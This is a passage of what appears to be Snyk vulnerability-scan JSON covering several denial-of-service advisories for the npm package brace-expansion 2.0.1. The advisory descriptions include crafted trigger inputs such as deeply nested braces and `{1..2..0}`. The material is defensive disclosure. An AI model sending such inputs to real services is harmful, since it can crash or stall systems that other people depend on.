"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
